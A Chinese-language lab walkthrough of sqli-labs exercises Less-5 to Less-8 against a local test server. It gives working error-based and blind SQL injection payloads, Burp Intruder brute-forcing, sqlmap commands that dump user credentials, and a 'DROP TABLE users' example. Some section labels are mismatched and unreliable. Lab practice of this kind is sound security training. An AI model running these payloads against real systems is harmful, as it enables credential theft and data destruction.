Less-5 |
双注入 |
基于单引号的字符型注入,涉及二次查询注入 |
Less-6 |
双注入 |
基于双引号的字符型注入,涉及二次查询注入 |
Less-7 |
字符型注入 |
基于单引号变形注入之导入文件 |
Less-8 |
布尔盲注 |
不返回任何错误信息,通过布尔逻辑判断 |
以下是几种常见的SQL报错注入方法及其操作步骤:
方法名称 |
描述 |
操作步骤 |
1. 使用floor()函数 |
利用floor()函数和count()函数结合,导致数据库返回重复键错误。 |
1. 构造包含floor()和count()的SQL查询。 2. 通过改变查询中的参数,观察数据库返回的错误信息。 3. 从错误信息中提取所需数据。 |
2. 使用extractvalue()函数 |
利用extractvalue()函数解析XML数据时产生的错误信息。 |
1. 构造包含extractvalue()的SQL查询。 2. 通过改变查询中的XML路径参数,触发错误。 3. 从错误信息中提取所需数据。 |
3. 使用updatexml()函数 |
利用updatexml()函数更新XML数据时产生的错误信息。 |
1. 构造包含updatexml()的SQL查询。 2. 通过改变查询中的XML路径参数,触发错误。 3. 从错误信息中提取所需数据。 |
4. 使用exp()函数 |
利用exp()函数计算指数时产生的溢出错误。 |
1. 构造包含exp()的SQL查询。 2. 通过改变查询中的参数,触发溢出错误。 3. 从错误信息中提取所需数据。 |
Less-5 Double Query- Single Quotes- String
Character-based Injection
通过字符输入和错误消息利用SQL注入。
第一种,方法结合burpsuite的半自动注入
1,首先查看正确的回显信息是什么样的,搭配id传入数值:?id=1
判断注入类型:?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
结果发生了报错,再测试:?id=1"
能够正常回显,说明单引号破坏了原有查询语句的结果,导致引号无法闭合,由此确定是注入是基于单引号的;而传入双引号能正常处理,说明查询语句能将双引号当中字符串处理,说明这是基于单引号的字符串型注入
2,order by再判断当前数据表有几列:?id=1' order by 1,2,3--+
回显正常,说明数据表至少有3列,再判断有无4列:?id=1' order by 4--+
发生报错,数据表确定为3列
3,再用union判断回显在哪:?id=-1' union select 1,2,3--+
难度上升查询结果不回显,那么就需要用报错注入的方法
4,页面只有三种回显结果:正确(youarein)/错误(不显示)/报错。那么这就需要构造大量的payload去爆出正确信息。
Boolean 注入攻击解释及方法说明:
Boolean 注入攻击概述
Boolean 注入攻击是一种常见的Web安全漏洞利用方式,它发生在应用程序未能正确过滤用户输入,导致攻击者能够通过构造特定的输入来操纵数据库查询的逻辑结果。这种攻击通常用于从数据库中提取信息,而不是直接执行命令。攻击者通过观察页面返回的“yes”或“no”结果来推断数据库中的数据12。
Boolean 注入攻击的方法
判断数据库名的长度
攻击者首先尝试判断数据库名的长度,通过构造如 'and length(database())=1--+ 的 SQL 语句,并观察页面返回的结果来确定数据库名的实际长度。这里的 --+ 是注释符,用于注释掉 SQL 语句中的剩余部分,确保攻击者的 SQL 语句能够被执行12。
逐字符判断数据库名
确定数据库名长度后,攻击者使用逐字符判断的方式获取数据库名。例如,使用 'and substr(database(),1,1)='t'--+ 来判断数据库名的第一个字符是否为 't'。通过这种方式,攻击者可以逐步揭示数据库名的完整内容12。
判断表名和字段名
获取数据库名后,攻击者可以进一步查询表名和字段名。例如,使用 'and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='e'--+ 来判断数据库 'test' 中第一个表名的第一个字符是否为 'e'。通过类似的步骤,可以获取所有表名和字段名2。
使用 ASCII 码进行查询
除了直接字符比较外,攻击者还可以使用 ASCII 码进行查询。例如,字母 't' 的 ASCII 码是 116,在 MySQL 中可以使用 ord() 函数进行转换。这样,可以通过 'and ord(substr(database(),1,1))=116--+ 来判断数据库名的第一个字符的 ASCII 值是否为 11612。
Web安全解析Boolean注入攻击原理_网络安全_脚本之家
5,先传入判断数据库名长度的payload:
?id=1' and length(database())>=1--+
然后抓包丢Intruder模块,将数值1设置为变量
然后挂上字典范围选择整数1-9爆破
注意到1-8是有回显的,第9条没有回显说明数据库长度为8
SUBSTR(string, start, length)
其中:
- string 是要截取的原始字符串。
- start 是截取的起始位置。如果是正数,则从字符串的开头开始计数;如果是负数,则从字符串的结尾开始计数。
- length 是可选参数,表示要截取的子字符串的长度。如果不指定,则截取从起始位置到字符串末尾的所有字符。
6,通过yes/no判断数据库名payload:
?id=1' and substr(database(),1,1)='d'--+
再抓包右键送到Intruder模块里,这次添加两个变量,需要选择集束炸弹模式
第一个字典选择1-9,第二个选择a-z,总共会出现260结果
答案已经明了,按payload1排序payload2得到数据库名:security
3,下一步就是爆出所有表名:
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
抓包丢Intruder模块,还是设置两个变量
第一个字典选择1-9,第二个选择a-z,总共会出现260结果
第二种方法,使用sqlmap全自动注入
报错注入的手工方式过于繁琐,可以尝试sqlmap自动化爆破
物理主机IP:192.168.99.238
1,扫描是否注入存在注入点
sqlmap -u "192.168.99.238/sqli-labs/Less-5/?id=1"
关于SQL注入Payload的分析
一、布尔型盲注(Boolean - based blind)
- 原理
- 在布尔型盲注中,攻击者通过构造逻辑表达式,根据页面返回结果(如正常或错误页面)来推断数据库中的信息。例如,在给出的Payload: id = 1' AND 9885 = 9885 AND 'cClu'='cClu中,9885 = 9885是一个恒成立的表达式。攻击者通过在合法的查询后面添加这样的逻辑判断,如果页面返回正常(因为这个逻辑判断为真),就说明注入点存在并且可以进一步构造类似的表达式来获取数据库信息,如通过改变数字9885为数据库相关函数(如ASCII函数来获取字符的ASCII码等)。
- 检测与利用场景
- 通常用于目标应用程序对查询结果不直接显示数据,而是根据查询结果的真假返回不同的页面(如正常页面或错误页面)。攻击者可以利用这种情况逐步推断数据库中的数据,例如数据库名、表名、列名等。
二、报错型注入(Error - based)
- 原理
- 报错型注入利用数据库的报错信息来获取数据。以给出的Payload: id = 1' AND GTID_SUBSET(CONCAT(0x7171716b71,(SELECT (ELT(3628 = 3628,1))),0x7178627a71),3628) AND 'VAuw'='VAuw为例,这里利用了GTID_SUBSET函数(假设目标数据库是MySQL >= 5.6)。通过构造这样的函数,使数据库执行时产生错误,并且在错误信息中可能包含攻击者想要获取的数据或者可以通过错误信息推断出数据的相关信息。其中SELECT (ELT(3628 = 3628,1))是根据条件返回一个值,这里3628 = 3628为真,所以返回1,并且这个值被嵌入到CONCAT函数构造的字符串中,与GTID_SUBSET函数结合,当执行这个查询时如果数据库配置为显示错误信息,就可能泄露敏感信息。
- 检测与利用场景
- 当目标应用程序的数据库配置为显示详细的错误信息时,这种注入方式比较有效。攻击者可以通过构造特殊的函数组合,让数据库在执行查询时出错并显示包含有用信息的错误消息,从而获取数据库结构、数据等信息。
三、基于时间的盲注(Time - based blind)
- 原理
- 基于时间的盲注通过利用数据库函数(如SLEEP函数)来根据查询结果使页面响应产生时间延迟。在给出的Payload: id = 1' AND (SELECT 5577 FROM (SELECT(SLEEP(5)))lMYU) AND 'hjKP'='hjKP中,SLEEP(5)函数会使数据库查询暂停5秒。如果页面响应有相应的延迟,就说明注入成功。攻击者可以通过这种方式逐步推断数据库中的信息,例如通过改变条件来判断数据库中的数据是否满足某个条件,如果满足则会产生时间延迟,不满足则不会。
- 检测与利用场景
- 适用于目标应用程序对查询结果没有明显的显示差异(既不显示数据也不根据查询结果返回不同的页面状态),但是可以检测到页面响应时间的情况。攻击者可以利用时间延迟来推断数据库中的数据,例如数据库中的用户名、密码等敏感信息。
2,查询数据库--current-db
sqlmap -u "192.168.99.238/sqli-labs/Less-5/?id=1" --current-db
3,查询数据库表名 -tables
sqlmap -u "192.168.99.238/sqli-labs/Less-5/?id=" -D security --tables
4,查询数据表的列名 -columns
sqlmap -u "192.168.99.238/sqli-labs/Less-5/?id=" -D security -T users --columns
5,最后爆出来用户名和密码
sqlmap -u "192.168.99.238/sqli-labs/Less-5/?id=" -D security -T users -C id,username,password --dump
总结:sqlmap只是为了解放双手而存在的自动化工具,只有通过手工注入才能连接SQL报错注入的原理是什么。但当利用SQL注入漏洞最后剩下重复繁琐的工作时,大可以交给sqlmap跑。理解并熟悉运用漏洞原理才是最重要的
报错注入的核心思想
不断的给数据库发送一些没有得到确认是与非的信息,通过数据库不断的报错去排除错误信息,留下正确信息总结出来
第三种方法,updatexel+substr+group_concat函数的纯手工注入
UPDATEXML(XML_document, XPath_string, new_value)
其中:
- XML_document:这是一个字符串,代表XML文档对象的名称。
- XPath_string:这是一个XPath格式的字符串,用于指定要更新的XML节点。
- new_value:这是一个字符串,表示要替换成的新值12。
报错注入中的应用
在SQL注入攻击中,UPDATEXML函数常被用于报错注入。攻击者通过构造特定的SQL语句,利用UPDATEXML函数的第二个参数(XPath字符串)来触发数据库错误。这是因为XPath语法对输入有严格的限制,任何不符合XPath语法的输入都会导致错误。攻击者利用这一点,通过在SQL语句中嵌入恶意的XPath表达式,使得数据库在解析时发生错误,并将错误信息返回给攻击者。攻击者随后可以分析这些错误信息,推断出数据库的结构和其他敏感信息12。
1,获取当前数据库名称
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
2,获取当前数据库所有表名称
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
3,获取当前数据库user表所有列名称
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
4,获取当前数据库user表所有username和password的值
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 和less-1一样的结构
- include("../sql - connections/sqli - connect.php"); :包含了一个用于连接MySQL数据库的PHP脚本文件,这个文件应该包含了数据库连接的相关设置,例如创建$con1这样的数据库连接对象(假设在被包含的文件中创建)。
- error_reporting(0);:关闭了PHP的错误报告。这在生产环境中可能会隐藏一些错误信息,但在开发过程中不建议这样做,因为难以发现潜在的问题。
所以我们不会看到回显信息,以至于只能使用报错注入
Less-6 Double Query- Double Quotes- String
Boolean Blind Injection
使用真/假响应推断数据库信息,而无需直接输出。
第一种方法,updatexel+substr+group_concat函数的纯手工注入
1,判断注入类型:?id=1'
正常回显,再输入:?id=1''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
发生报错,从报错中可以判断出闭合方式是双引号
2,获取当前数据库名称
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
3,获取当前数据库所有表名称
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
4,获取当前数据库user表所有列名称
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
5.获取当前数据库user表所有username和password的值
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
第二种方法,sqlmap自动化注入
物理主机IP:192.168.99.238
1,扫描是否注入存在注入点
sqlmap -u "192.168.99.238/sqli-labs/Less-6/?id=1"
2,爆破出数据库名 sqlmap -u "192.168.99.238/sqli-labs/Less-6/?id=1" -current-db
3,爆破出sercurity库下数据表名 sqlmap -u "192.168.99.238/sqli-labs/Less-6/?id=1" -D security -tables
4,爆破user表所有字段名 sqlmap -u "192.168.99.238/sqli-labs/Less-6/?id=1" -D security -T users -columns
5,爆破出username和password字段下所有数据 sqlmap -u "192.168.99.238/sqli-labs/Less-6/?id=1" -D security -T users -C id,username,password --dump
源码分析:
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1"; 和less-5都是不回显报错信息,加大了攻击者的注入难度,唯一的区别就在于变量id的闭合方式是双引号
再查看txt记载我打进去的语句(例:最后两句)
?id=1" AND GTID_SUBSET(CONCAT(0x7162787171, (SELECT MID((IFNULL(CAST(password AS NCHAR), 0x20)), 1, 190) FROM `security`.users ORDER BY id LIMIT 12, 1), 0x716a706a71), 4783)-- aSfJ
?id=1" AND GTID_SUBSET(CONCAT(0x7162787171, (SELECT MID((IFNULL(CAST(username AS NCHAR), 0x20)), 1, 190) FROM `security`.users ORDER BY id LIMIT 12, 1), 0x716a706a71), 7192)-- ZLRv
这两条语句的主要目的是尝试从数据库中提取敏感信息,特别是用户的密码和用户名。
- 基本结构:
id=1:这部分是合法的查询参数,用于指定要查询的记录ID。
" AND ...:这部分是注入的恶意代码,通过逻辑AND操作符连接到合法的查询参数,使得整个表达式依赖于恶意代码的真假。
- GTID_SUBSET函数:
GTID_SUBSET是一个MySQL函数,用于检查一个全局事务标识集是否是另一个全局事务标识集的子集。在这个上下文中,它被用来构造一个复杂的表达式,使得SQL注入更加隐蔽。
- CONCAT函数:
CONCAT函数用于将多个字符串连接成一个单一的字符串。在这里,它被用来拼接一个包含子查询结果的字符串。
- 子查询:
(SELECT ...):这是一个子查询,用于从security.users 表中选择数据。
- MID:用于提取字符串的一部分。
- IFNULL:用于处理可能的NULL值,将其替换为一个空格字符(0x20)。
- CAST:将数据类型转换为NCHAR,以便处理非字符数据。
- ORDER BY id LIMIT 12, 1:限制查询结果只返回第13条记录(因为LIMIT的偏移是从0开始的)。
- 十六进制编码:
0x7162787171和0x716a706a71是十六进制编码的字符串,它们在SQL语句中用于混淆和隐藏实际的字符串内容。
- 注释符号:
--:这是MySQL中的注释符号,用于忽略后面的文本。在这里,它被用来结束恶意代码,使得后面的文本(如aSfJ和ZLRv)不会影响SQL语句的执行。
Time-based Blind Injection
基于SQL查询执行导致的响应延迟推断信息
1,搭配id传一个参数试试:?id=1
传单引号参数:?id=1'
You have an error in your SQL syntaxYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')) LIMIT 0,1' at line 1
发生报错,传入?id=1"回显正常,说明是单引号型注入,通过报错信息知道闭合方式为((''))
2,试试order 操作符能否可用:?id=1‘ order by 1,2,3--+
不会回显查询结果,相当于只能用盲注或者报错注入那一套了。先用sqlmap跑一下,然后再观察攻击语句寻找手动注入方法
第一种方法,sqlmap自动化注入
1,查询sqlmap -u "192.168.99.238/sqli-labs/Less-7/?id=1" -current-db
2,爆破出sercuity数据表名: sqlmap -u "192.168.99.238/sqli-labs/Less-7/?id=1" -D security -tables
3,爆破出users数据库下所有的列名:sqlmap -u "192.168.99.238/sqli-labs/Less-7/?id=1" -D security -T users -columns
4,最后再爆破出所有的账户密码:sqlmap -u "192.168.99.238/sqli-labs/Less-7/?id=1" -D security -T users -C username,password --dump
5,其实sqlmap已经给我们分析了读该数据库的攻击方式
基于布尔的盲注(boolean - based blind)
- Payload分析:在基于布尔的盲注的Payload(id = 1') AND 8598 = 8598 AND ('pTdB'='pTdB)中,id = 1是原始的查询参数部分,后面的AND 8598 = 8598是典型的布尔表达式。如果数据库执行这个SQL语句时,这个布尔表达式为真(这里8598 = 8598显然为真),那么根据应用程序对这个查询结果的响应,攻击者可以推断数据库中的信息。最后的AND ('pTdB'='pTdB可能是为了保持语法结构的完整性,因为在SQL注入中,整个语句需要在语法上是合法的。这种类型的注入常用于当应用程序没有直接显示数据库错误信息,但可以根据查询结果的不同响应(如页面正常显示或报错)来判断注入是否成功并获取信息。
基于错误的注入(error - based)
- Payload分析:基于错误的注入的Payload(id = 1') AND GTID_SUBSET(CONCAT(0x717a6a7671,(SELECT (ELT(7271 = 7271,1))),0x7176717171),7271) AND ('PLnx'='PLnx)比较复杂。id = 1同样是原始查询部分,GTID_SUBSET函数在这里可能是利用了MySQL 5.6及以上版本的特定功能来触发错误。CONCAT函数用于连接字符串,其中包含了十六进制编码的字符串(可能是为了绕过某些过滤机制),SELECT (ELT(7271 = 7271,1))是一个子查询,ELT函数根据条件返回相应的值(这里7271 = 7271为真,所以会返回1)。通过构造这样一个复杂的、能够触发数据库错误的Payload,攻击者可以根据错误信息来获取数据库的结构和数据。这种类型的注入依赖于数据库返回详细的错误信息,如果应用程序隐藏了错误信息,这种注入可能就无法成功。
基于时间的盲注(time - based blind)
- Payload分析:基于时间的盲注的Payload(id = 1') AND (SELECT 5350 FROM (SELECT(SLEEP(5)))WKWX) AND ('QjTf'='QjTf)中,id = 1是原始查询部分。(SELECT 5350 FROM (SELECT(SLEEP(5)))WKWX)是关键部分,SLEEP(5)会使数据库查询暂停5秒。如果应用程序的响应时间在执行这个注入Payload时明显增加(例如比正常查询多了5秒),那么攻击者就可以推断注入成功并且可以通过构造更复杂的类似Payload来获取数据库信息。这种注入方式比较隐蔽,不需要依赖数据库的错误信息或明显的查询结果变化,而是通过观察响应时间来判断注入是否成功。
第二种方法,半自动SQL布尔盲注+burpsuite
所谓布尔盲注,是就回显信息而言的,对与sql-lab less-7而言,bool值true/false对应的就是页面都正常回显/不回显。那么作为攻击者,最简单理解的攻击方式就是通过sql查询的方式,不断让网页判断回到"true or false",然后我们再通过这个信息总结出数据库的正确内容。
判断第'int'个字符是否为'str'的payload:?id=1')) and substr(database(),1,1)='a'--+
挂上代理再上传,右键发送到Intruder模块。这里选择Cluster bomb模式,然后设置两个变量:一个是substr()函数的第二个值,代表从这个值开始爆破;第二个值是判断选项的条件,问数据库名第n个字母是否等于这个值。
给变量选择爆破字典,区间分别是0-9,a-z然后开始爆破
第三种方法,updatexel+substr+group_concat函数的纯手工注入
1,判断存在sql注入漏洞之后,先爆出数据库名
?id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
2,再获取security数据库下所有数据表名
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
3,获取当前数据库user表所有列名称
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
4,获取当前数据库user表所有username和password的值
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
1,?id=1')):这部分是构造的查询字符串的一部分,目的是绕过应用程序对查询字符串的初步检查。这里的'))是为了闭合前面可能存在的查询条件,并引入新的条件。
2,and:用于连接两个条件,使得攻击者可以注入自己的SQL代码。
3,updatexml(1, concat(0x7e, substr((select group_concat(concat(username,'^',password)) from users), 1, 31), 0x7e), 1):这部分是利用updatexml函数进行注入的关键部分。
- updatexml是一个XML处理函数,通常用于更新XML文档中的内容。在这里,它被滥用来进行SQL注入。
- concat(0x7e, substr((select group_concat(concat(username,'^',password)) from users), 1, 31), 0x7e):这部分构造了一个字符串,用于拼接用户名和密码。
- group_concat(concat(username,'^',password)):从users表中选择所有用户名和密码,并用^符号连接起来。
- substr(..., 1, 31):从拼接的结果中截取前31个字符。
- concat(0x7e, ..., 0x7e):在前后加上ASCII码为7E的字符(即波浪号~),这通常是用来标记字符串的边界。
- 1:这是updatexml函数的第三个参数,表示更新成功后返回的值。
4,-- s:这是一个注释符,用于忽略后面的任何内容,防止SQL语句出现语法错误。
源码分析
和less-5,less-6相比只是闭合方式变成了((''))
该源码是一个简单的PHP脚本,用于从数据库中查询用户信息。以下是源码的主要部分:
- HTML结构:
- 页面使用了XHTML 1.0 Transitional标准。
- 页面背景为黑色,文本颜色为白色,标题为“Less-7 Dump into Outfile”。
- 页面中心显示一张图片。
- PHP部分:
- 包含了一个外部文件sqli-connect.php ,用于连接MySQL数据库。
- 检查是否通过GET请求传递了id参数。
- 如果id参数存在,将其记录到result.txt 文件中。
- 构造SQL查询语句SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1,并执行查询。
- 根据查询结果输出不同的提示信息。
存在的漏洞
- SQL注入漏洞:
- 源码中直接将用户输入的id参数拼接到SQL查询语句中,未进行任何过滤或转义,存在SQL注入漏洞。
- 攻击者可以通过构造恶意的id参数,绕过身份验证或获取敏感数据。
- 文件写入漏洞:
- 源码中将用户输入的id参数写入到result.txt 文件中,未进行任何过滤或转义,存在文件写入漏洞。
- 攻击者可以通过构造恶意的id参数,向服务器写入恶意内容,可能导致服务器被控制。
攻击方式
- SQL注入攻击:
- 攻击者可以通过构造恶意的id参数,绕过身份验证或获取敏感数据。例如:
id=1' OR '1'='1
这将导致SQL查询语句变为:
SELECT * FROM users WHERE id=('1' OR '1'='1') LIMIT 0,1
这将返回所有用户的信息。
- 攻击者可以通过构造恶意的id参数,绕过身份验证或获取敏感数据。例如:
- 文件写入攻击:
- 攻击者可以通过构造恶意的id参数,向服务器写入恶意内容。例如:
id=1'); DROP TABLE users; --
这将导致SQL查询语句变为:
SELECT * FROM users WHERE id=('1'); DROP TABLE users; --') LIMIT 0,1
这将删除users表。
- 攻击者可以通过构造恶意的id参数,向服务器写入恶意内容。例如:
- 文件包含攻击:
- 如果result.txt 文件被包含在其他PHP脚本中,攻击者可以通过写入恶意PHP代码,实现远程代码执行。
总结
该源码存在严重的SQL注入和文件写入漏洞,攻击者可以通过构造恶意的输入,绕过身份验证、获取敏感数据、删除数据库表,甚至执行任意代码。建议对用户输入进行严格的过滤和转义,避免直接拼接用户输入到SQL查询语句中,并限制文件写入的内容。
Less-8 Blind- Boolian- Single Quotes- String
Stacked Injection
在单个查询中执行多个SQL语句。
1,首先就要判断sql语句闭合方式,首先需要确定正确回显的页面 ?id=1
2,再判断注入类型单双引号,?id=1'
发生报错,再?id=1"
单引号报错,双引号不报错,初步判断为单引号。再判断完整闭合方式就是''
3,进一步判断攻击方式。发现回显方式就两种:you are in/不回显,只能使用报错或延时注入
第一种方法:burpsuite半自动化注入
原理就是burpsuite的Intruder模块设置两个变量(第N个字符串是否为字母X)进行组合爆破猜解,substr函数是猜解第N个字符串是否为字母X的查询语句。
1,猜解数据库名 ?id=1' and substr(database(),1,1)='a'--+
hackbar传入攻击语句,挂上代理被burpsuite截获到,然后再传入Intruder模块设置两个变量。第一个变量字典设置为0-9,第二个变量字典为a-z
由此得到数据库名为security
2,爆破出数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
由此爆出第一个数据表名为emails,以此类推
2,手工时间注入
利用 left(version(),1)进行尝试,查看一下数据库的版本version(),)
?id=1' and left(version(),1)=5 -- #
一、MSSQL中的时间注入攻击语句示例
在MSSQL数据库中可能存在以下类型的时间注入攻击语句:
- 例如在检查数据库版本号并根据条件执行延迟操作的语句:
- IF (SUBSTRING(@@VERSION,1,1) = '1' AND (SELECT COUNT(*) FROM T WHERE UID = 'Guest')!= 0)WaitForDelay'0:0:15',这个语句先检查数据库的版本号,如果是1x版本,并且满足后面的查询条件(这里是查询T表中UID为'Guest'的记录数量不为0),就会执行WaitForDelay'0:0:15'语句,注入者设定超时时间为15秒,可用于检测是否有特定UID存在数据库中4。
- 还有通过声明变量并插入恶意时间参数来读取数据库信息的情况,如:
- declare @t datetime;然后在SQL语句中利用这个@t变量插入恶意的时间参数,从而从数据库读取相关信息(这里未给出完整的利用该变量进行读取信息的恶意语句,但这是一种可能的方式)1。
二、基于时间盲注攻击相关的语句(通用原理下)
- 基于延迟的时间盲注:
- 在SQL注入中插入WAITFOR DELAY等延时函数来引发服务器端的延迟响应。例如攻击者构造的注入语句中包含WAITFOR DELAY '0:0:5'(表示延迟5秒),通过观察响应时间的变化,攻击者可以判断出查询条件是否为真或假,从而逐步推断出数据库的数据信息5。
- 基于计时的时间盲注:
- 这种类型利用数据库管理系统(DBMS)特定的时间函数,如GETDATE()或SLEEP()等。比如攻击者可能在注入语句中使用SLEEP(5)(表示让查询暂停5秒执行),通过观察应用程序的响应时间是否发生变化来推断数据信息5。
第二种方法,sqlmap自动化注入
1,sqlmap判断是否存在sql注入漏洞
这个检测结果说明:
- id 参数是可注入的,SQLi 发生在 WHERE 或 HAVING 语句中。
- 布尔盲注的利用方式:
- sqlmap 生成的 Payload:
id=1' AND 2612=2612 AND 'yZaq'='yZaq - AND 2612=2612 始终为真,如果页面返回正常,说明 SQL 语句被成功执行。
- AND 'yZaq'='yZaq 也是永远成立的,用于检测布尔条件是否生效。
- 如果服务器 正确响应 这个请求,说明 存在 SQL 注入漏洞。
- sqlmap 生成的 Payload:
2,枚举数据库
sqlmap -u "http://192.168.1.101/sqli-labs/less-8/?id=1" --dbs
3,选择数据库并列出表,发现 security 数据库,我们可以列出它的表:
sqlmap -u "http://192.168.1.101/sqli-labs/less-8/?id=1" -D security --tables
4,获取表的字段,发现 users 表,我们可以查看其字段:
sqlmap -u "http://192.168.1.101/sqli-labs/less-8/?id=1" -D security -T users --columns
5,Dump 数据,如导出 users 表的所有数据
sqlmap -u "http://192.168.1.101/sqli-labs/less-8/?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch
第三种方法,手动盲注
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。